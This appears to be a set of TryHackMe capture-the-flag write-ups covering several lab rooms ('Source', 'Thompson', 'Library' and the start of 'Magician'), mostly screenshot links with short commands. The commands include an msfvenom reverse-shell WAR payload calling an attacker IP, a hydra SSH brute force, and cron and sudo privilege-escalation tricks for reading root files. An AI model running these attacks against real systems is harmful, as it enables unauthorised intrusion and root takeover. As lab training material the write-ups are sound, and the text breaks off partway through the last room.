![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVUNp3-4D-KhB1ZDGC%2Fimage.png?alt=media\&token=6e02a3c8-d4f3-41ec-a196-309abd5cbb9d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVURzL63l7Pana4ptF%2Fimage.png?alt=media\&token=3870bef5-a827-4319-934d-43b1860537cb)

We have a image, lets look at it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVUlMQ_iohwcYL0FNo%2Fimage.png?alt=media\&token=911aa377-e7f1-4994-934e-3bd440256a2b)

Looks like it has errors and we cannot look at it, lets download it to our machine using `wget`.

```
wget http://10.10.112.81/thm.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVV-E_p4sHj-9t0nf-%2Fimage.png?alt=media\&token=22accd7e-9002-423d-941e-a632e05647c6)

Lets look at the header of the image as there is something wrong with the image and we can try find information about it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVVHxlV-jUjDI8rl98%2Fimage.png?alt=media\&token=bd548396-180c-41a8-8cee-fb944cc29bd1)

Oh that's strange, this is a `jpg` file, but it has a `PNG header`, lets change it using `hexeditor`&#x20;

```
hexeditor thm.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVV_-ecO-1neY3KhZ1%2Fimage.png?alt=media\&token=4362a7fd-cd6a-475e-8d6a-4547dfe54c62)

Looking at the header, it is that of a png file, we can look at this information [here](https://gist.github.com/webmaster128/8cbace94767faf5d8d9b). The numbers that are supposed to be here are these

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVW2YdkVDYmx-hDcxt%2Fimage.png?alt=media\&token=c9f831fc-e132-448d-85bf-e1acbcfcbf65)

Lets change it.

From this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVWREKyZA11DlcoBz5%2Fimage.png?alt=media\&token=2d762566-9180-4c2c-9f47-4d3650ea82f3)

To this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVWU2ZkK0-gAqxUjaP%2Fimage.png?alt=media\&token=501928cb-fae0-4e10-8eb3-454e3e1098ea)

Now lets save it with `Ctrl + x` and hit Enter. Now lets look at the image.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVWVfT4lx6j5P4VS99%2F-McVWrgwWeEEleswtAzh%2Fimage.png?alt=media\&token=08caebec-1115-4a98-84fe-92694b2409f4)

We have a hidden directory, lets go check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVWVfT4lx6j5P4VS99%2F-McVX4KDEPQfE_aHakNe%2Fimage.png?alt=media\&token=d6920d44-db91-4a75-b871-164f0be1781c)

Looks like we need to guess the secret, lets look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVWVfT4lx6j5P4VS99%2F-McVZNi9z3pFJ9CDAkty%2Fimage.png?alt=media\&token=34ec4f0c-db27-4cb8-b2e0-f6e753500c3f)

So it is a number between 1 and 100, lets write a simple python script to type our all 100 number to us and save it in a file to load in `burp suite` so that we can use `intruder` to find the right number, lets first make the python script.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McV_zEt6l0Vb7JvUXwX%2F-McVaUPVLNPr_UnJOm03%2Fimage.png?alt=media\&token=315adf67-6ff0-4323-a2d6-adac66fc565f)

Now lets print it and save it into a file called `nums.txt`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McV_zEt6l0Vb7JvUXwX%2F-McVa_LFBlmIKhPa1vos%2Fimage.png?alt=media\&token=1193e887-17cf-4ee8-9ef0-c15edb59c914)

Now lets load up burp and capture the request, then send it to intruder.

Now lets go to the Positions tab in Intruder and add the parameter. Now select the number one and click this option

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McV_zEt6l0Vb7JvUXwX%2F-McVbDKMzB1bco4E7k9D%2Fimage.png?alt=media\&token=67764c21-45bd-4898-bf55-3f2132fc275e)

This will specify the place or position we want to attack. Now lets go to the payloads tab and load the `nums.txt` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McV_zEt6l0Vb7JvUXwX%2F-McVbRmr5UbAZ4poRMYn%2Fimage.png?alt=media\&token=3cf97b0c-a78c-446b-b488-8e53269aeb75)

Now lets start the attack. Looking through the output, there is one number with the length different

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVcjXRo6gegmGtPrGH%2Fimage.png?alt=media\&token=def7f541-8045-4322-87d3-3a7d76b585dc)

The number is 73, lets now send this number in the `secret parameter`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVcslj_MlUcTgYySvA%2Fimage.png?alt=media\&token=52e686d8-cb99-47bd-bdf6-050296837776)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVcvy1Q17MCJlXEztA%2Fimage.png?alt=media\&token=62b382c5-a4a8-4ecf-a904-bb5d7e54691c)

Looks like a cipher, lets decrypt it . Well I spent time decrypting it but got nowhere, so lets look the image file and see if it has something else.

```
steghide --extract -sf thm.jpg
```

It asked for a password, so I gave the text we just found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVdt0n4hV8mX4AxDEQ%2Fimage.png?alt=media\&token=ad81485d-5798-46a5-9659-cf71f5ff362e)

Lets read this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVdxDzDRzXJXQduG3c%2Fimage.png?alt=media\&token=e917eab2-8af8-4511-9ccd-b3f7655de327)

We have a username but it looks like a cipher, lets crack it with [CyberChef](https://gchq.github.io/CyberChef/#recipe=ROT13\(true,true,false,13\)\&input=d2J4cmU).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVeCoiH73wN40dOies%2Fimage.png?alt=media\&token=109127b2-914a-458f-81b5-62a3a76330f6)

We have the username.

Now we do not have a password as the password we found before does not work, so as this room is a steganography challenge, lets download the image in the tryhackme room.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVebr5DMr0IZzHk8u4%2Fimage.png?alt=media\&token=927bd9aa-5178-425c-bbbc-2b933ab13fee)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVetzsczC7je7vrZNw%2Fimage.png?alt=media\&token=e0e61df0-09ba-48d3-ae22-846c712be525)

Now lets look for information using `steghide`. Just hit enter for the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVfEHl8UKajsKl7ZR3%2Fimage.png?alt=media\&token=badd5427-21cf-435c-9cc9-4d8489a9143c)

Now lets read the `password.txt` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVfMgWeNqq8OJJLfWW%2Fimage.png?alt=media\&token=8c3706bd-5b21-4e06-b57e-4ba0c482ff67)

We have a password, lets login through ssh.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVfWI9uhem2z0f-OVW%2Fimage.png?alt=media\&token=354800fd-abaf-479b-a39c-215b86b53679)

We can read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVfvzBRRz40-Kao9K4%2Fimage.png?alt=media\&token=b892d52e-6486-4c5a-9224-995139de57b9)

## Privilege Escalation

Lets look at the `SUID` bits.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVkPENOBqnJNqwvtCo%2Fimage.png?alt=media\&token=a762e20e-22fb-4b5c-9fa4-f272f3874849)

These files are interesting, lets look for exploits on this. Looking for it on google I found [this](https://www.exploit-db.com/exploits/41154).

Lets copy it from `searchsploit`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVlYnr3nXib7M__Tzc%2Fimage.png?alt=media\&token=72d46b7d-fa87-45af-bb2b-dcb6da338325)

Lets copy the code in the file to a file called `exploit.sh` on the victim machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVot5X0D-wB2zogxIQ%2Fimage.png?alt=media\&token=4cfc2544-21f6-476a-9652-aa40d1dcac6f)

Once copied, make the file executable and run the exploit.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVp4-zSUIxevosIEOw%2Fimage.png?alt=media\&token=1a664f3b-bf68-4658-942a-70b42713a785)

We are root, we can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVcDtJoWfababwynNV%2F-McVpEW8CNR8aVDtx-yu%2Fimage.png?alt=media\&token=f5611ef6-a742-4bd4-9f18-cd5c02049beb)


# Source

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRCYhZgCjIA2pTxTGj%2F-McRCiE5JA2L-1r1DrDY%2Fimage.png?alt=media\&token=608fde51-a09e-4bc1-a0bf-3d2314cf511a)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.184.138
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRCkTiODAi35Ox2fky%2F-McRDyfpv0s4VOWp64BT%2Fimage.png?alt=media\&token=c0874bcb-b0c3-4506-9f7f-d05d9b33218e)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,10000
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,10000 -oN nmap 10.10.184.138
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRCkTiODAi35Ox2fky%2F-McRE9U3Yy2ctO82z9Ah%2Fimage.png?alt=media\&token=faaaed83-5ed7-495f-a5f9-f1c0ba3c484e)

## Enumeration

Lets visit the site on port 10000

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRCkTiODAi35Ox2fky%2F-McREZza9Fg88URLlEr-%2Fimage.png?alt=media\&token=151fe4e6-2fd5-4030-8d4d-8009b9cc74fd)

Looks like we should go to `https//<ip>`, lets do that

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRCkTiODAi35Ox2fky%2F-McRFC-hsNbo5iulPK6e%2Fimage.png?alt=media\&token=9e468bbe-6ffe-43ba-bf15-905e15680b9e)

Lets go to Advanced and hit Accept Risk and Continue

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRCkTiODAi35Ox2fky%2F-McRFJCuWAhbqx3fuuw7%2Fimage.png?alt=media\&token=b185329f-c62e-4e70-a78f-1b1b9e6ab15d)

We have a login page. We do not have credentials so lets go to searchsploit and look for exploits on the application and the specific version we see in the nmap scan. I searched for it on searchsploit and got nothing back

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRGLYIzkeEc_a9pHTs%2F-McRH6RVT6rZpLIuF8S8%2Fimage.png?alt=media\&token=28a504cb-c856-45d7-bb07-a4278f7a7e11)

So I went to Google and looked for exploit and found [this](https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/blob/master/webmin-1.890_exploit.py). Its a python script , lets copy it to our machine and call is `exploit.py`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRGLYIzkeEc_a9pHTs%2F-McRIBS-pJiVTdKfU_Hr%2Fimage.png?alt=media\&token=2e0ab2e1-f2ae-4135-a7df-57f23d145fa1)

They show how to use it as well, so lets go ahead and use it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRGLYIzkeEc_a9pHTs%2F-McRILcUl0xIVJKC3FGH%2Fimage.png?alt=media\&token=14558b54-f282-4e06-be12-6245792082e7)

In the end they give us the option of sending a command, we sent id and it worked, lets read the user flag and the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRGLYIzkeEc_a9pHTs%2F-McRIuMblQc_6vjpF8Kr%2Fimage.png?alt=media\&token=a64ad1e2-21f7-47a8-ac4b-52a635f319b4)

We have both the flags.


# Thompson

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQIQQgW-MxNEV7kfmp%2F-McQJ2k4ffYB79rncIY3%2Fimage.png?alt=media\&token=b227c79a-c5e9-4d1f-92b0-bc194ed6c605)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.196.112
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJ7Bwd0qYH-yDl8cm%2F-McQJp4_7ZKc0Gm7SWgg%2Fimage.png?alt=media\&token=5ea0d7e5-1de1-45b1-9f9c-83890f806640)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,8009,8080
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,8009,8080 -oN nmap 10.10.196.112
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJ7Bwd0qYH-yDl8cm%2F-McQJs4hzlGltGjl8JND%2Fimage.png?alt=media\&token=19217956-865c-4b04-b01a-6b67b8b1e76a)

## Enumeration

Lets visit the site on port 8080

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJtKLR2BNYERAuZlT%2F-McQKGrlKH_0ZYifdhML%2Fimage.png?alt=media\&token=f37e8c76-66cc-400c-8a65-bcc39b515479)

Its a Apache Tomcat page, there is a Manager App tab, lets click it and see what it says

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJtKLR2BNYERAuZlT%2F-McQKbk1iiVDapJPf9pq%2Fimage.png?alt=media\&token=3c3de40d-3424-4bf8-ac70-1ad83b27632f)

We need a username and a password, we do not have one, so lets click cancel, once we do , we get this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJtKLR2BNYERAuZlT%2F-McQKp8Gw-qfvV1hjdwJ%2Fimage.png?alt=media\&token=21faf68f-7854-4b8e-a0ae-136473372f30)

We have a username and a password, lets use these credentials to login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJtKLR2BNYERAuZlT%2F-McQL-cqEdCnTurgNysW%2Fimage.png?alt=media\&token=6a8dac34-8b44-4b2c-ad93-79ac5fa210b3)

We are logged in. Looking through application manager, we see something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQJtKLR2BNYERAuZlT%2F-McQLEnA8E2if4rw_8A2%2Fimage.png?alt=media\&token=9712d0c4-c5fb-46da-bb49-c62658bf39fa)

We can upload `WAR` files, now we can make a war file payload that will give us a reverse shell on the machine.

## Exploitation

Lets first make the payload, make sure to replace my IP with yours

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.13.8.64 LPORT=1234 -f war > reverse.war
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQLu2SCTUd4SQG2_5V%2Fimage.png?alt=media\&token=896170d3-3464-4d50-98a9-5dd62adb8ede)

Lets upload the file, click on browse and select the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQMBiBf0nMEGrqYwWi%2Fimage.png?alt=media\&token=f0e52be9-558d-4f22-8fb3-bd499ec516cf)

And hit deploy, now you should see the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQMJoXekquobxp-0pK%2Fimage.png?alt=media\&token=02c759e9-c58e-447e-8e72-ac7f438083c6)

Now lets start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQMPOGjGCkW9qV34ve%2Fimage.png?alt=media\&token=9a17dc45-f60e-4252-a9fe-8062731e4e43)

Now click on the file and you should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQMVkL9gbL8NYFInUJ%2Fimage.png?alt=media\&token=1e1a408b-5b66-487f-b80e-dfced611bc52)

Lets stabilize the shell with these commands

```
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
stty raw -echo; fg
reset
Ctrl + z
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQNJeTivXRNZYeeuzR%2Fimage.png?alt=media\&token=fd856c93-6c66-4ef3-b922-b793889e56cf)

We can read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQLjoVU5uruUUUZfla%2F-McQNp3X3T98Lfb0qzY3%2Fimage.png?alt=media\&token=c588f9db-e041-4b33-8f89-f5df306b149b)

We have two other files in the directory, lets look at what they contain

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQNqieiMk-OeGzXOlG%2F-McQO1VMc4u-gJFY6W-7%2Fimage.png?alt=media\&token=ae8d38a2-49ff-413c-8f56-b05e2b817c2f)

It looks like the `id.sh` file is running the id command and sending the output to the file called `test.txt`. Lets check the cronjobs running on this machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQNqieiMk-OeGzXOlG%2F-McQP9mTQXDlJ51OW780%2Fimage.png?alt=media\&token=c6434dcb-2ad1-4968-8c44-c9bb8cf2baec)

Looks like it is reading the files in `/home/jack`, so lets transfer the root flag to this directory by adding the command in the `id.sh` file and then read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQNqieiMk-OeGzXOlG%2F-McQPrIjHNRRp0fX3NZ5%2Fimage.png?alt=media\&token=576a3d7b-c6c6-4c0f-8a48-633a7d4c5654)

We can edit the file using `nano` or we can use this command

```
echo "cp /root/root.txt /home/jack/root.txt" >> id.sh
```

Once we do this, we should see the `root.txt` file in our directory and we can read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQNqieiMk-OeGzXOlG%2F-McQQFTwc4R2_YleMchf%2Fimage.png?alt=media\&token=82b8b8b6-0d39-4389-bd8b-92454275f695)


# Library

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQD2Bfrr7tfh5HkVz4%2F-McQD5e313TgVcGeL7j5%2Fimage.png?alt=media\&token=60c7ef0a-e869-4f84-912b-3ac0beac7c0c)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.121.105
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQDKj6WbjRAAubwIL4%2F-McQDkqutBBnV0UmzaCl%2Fimage.png?alt=media\&token=9f5bf796-6060-45f5-bb70-76cb7bc29310)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.121.105
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQDKj6WbjRAAubwIL4%2F-McQDurr0GhfB8IsC9IL%2Fimage.png?alt=media\&token=86013595-2322-46c9-afb5-eeb9508e528a)

## Enumeration&#x20;

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQDKj6WbjRAAubwIL4%2F-McQE23d1bajrG2bXDKv%2Fimage.png?alt=media\&token=69a05369-fda5-4d88-9b0e-560135072ca4)

Looking through the website we have a username `meliodas` .&#x20;

Lets look at `robots.txt` as the nmap told us that there is a disallowed entry.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQDKj6WbjRAAubwIL4%2F-McQEh9ZZZ8wI8fPSMe0%2Fimage.png?alt=media\&token=437c71e0-f5ee-4b9a-9fd5-84a4e915816d)

And there is nothing, lets run `gobuster` to find hidden directories as there is nothing else on the main page to enumerate.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQDKj6WbjRAAubwIL4%2F-McQF8wv4ZJqU97KTCVM%2Fimage.png?alt=media\&token=f44e1b22-f3d0-40a0-8eb0-3d44f7dea336)

Nothing interesting pops up, so lets run hydra to brute force ssh with the username meliodas.

## Exploitation

```
hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.10.121.105/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQFtTxYJCO52yWiAx9%2F-McQG9Sw_PL2Id91NjeD%2Fimage.png?alt=media\&token=16be53c0-74d5-4fc9-a8e2-3a3688269ca9)

We have the password, lets login through ssh

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQFtTxYJCO52yWiAx9%2F-McQGT1agcb29OqzrQHc%2Fimage.png?alt=media\&token=aaddbbfa-c12e-4c69-bbd0-e1358dc8a729)

We can read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQGUTJiUMn1RZRpEyN%2F-McQGbsbTnslgXXYlg1W%2Fimage.png?alt=media\&token=fa28bb6a-f7f3-43c7-bc6e-c236161e0b53)

## Privilege Escalation

We have a file called `bak.py` , lets read it and look at the permissions of the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQGUTJiUMn1RZRpEyN%2F-McQGwPrLV6c0boKFbBw%2Fimage.png?alt=media\&token=2a45d55e-6352-470b-85c7-00d9fc7bafe7)

Its owned by root! We can also run this file as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQGUTJiUMn1RZRpEyN%2F-McQHBc7IcNLzmw2gOXa%2Fimage.png?alt=media\&token=644126aa-ac74-42dc-bab6-a4ec36fed94e)

Lets change the contents of the file to get a shell as root, we cannot change the contents of the file, so lets remove the file and create a new file with the same name and our own content.

First delete the file with this command&#x20;

```
rm bak.py
```

Now we can echo the script into the file

```
echo 'import pty; pty.spawn("/bin/bash")' > /home/meliodas/bak.py
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQGUTJiUMn1RZRpEyN%2F-McQI5rQhHYruNV2983A%2Fimage.png?alt=media\&token=9a954026-d0c7-49c3-a6cf-f9be25406c65)

Now lets run the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQGUTJiUMn1RZRpEyN%2F-McQIDvUOqwGQ0-MrIo4%2Fimage.png?alt=media\&token=83fcbaa8-b3d9-4dac-be68-51231be106be)

We are now root, we can read the root.txt file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McQGUTJiUMn1RZRpEyN%2F-McQINgHKsxxQDyOhP9s%2Fimage.png?alt=media\&token=b70c1423-2f26-43da-9559-a75377047212)


# Magician

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM-sQiV71_CGcYomAg%2F-McM-w7-2AWPen3L0s4m%2Fimage.png?alt=media\&token=d2b60e6c-99b8-48a7-ac70-ed06903bc611)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.216.234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM0lLQBKZDSEIPVqaN%2Fimage.png?alt=media\&token=a68faac0-299b-45e9-9b22-11e160abe228)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
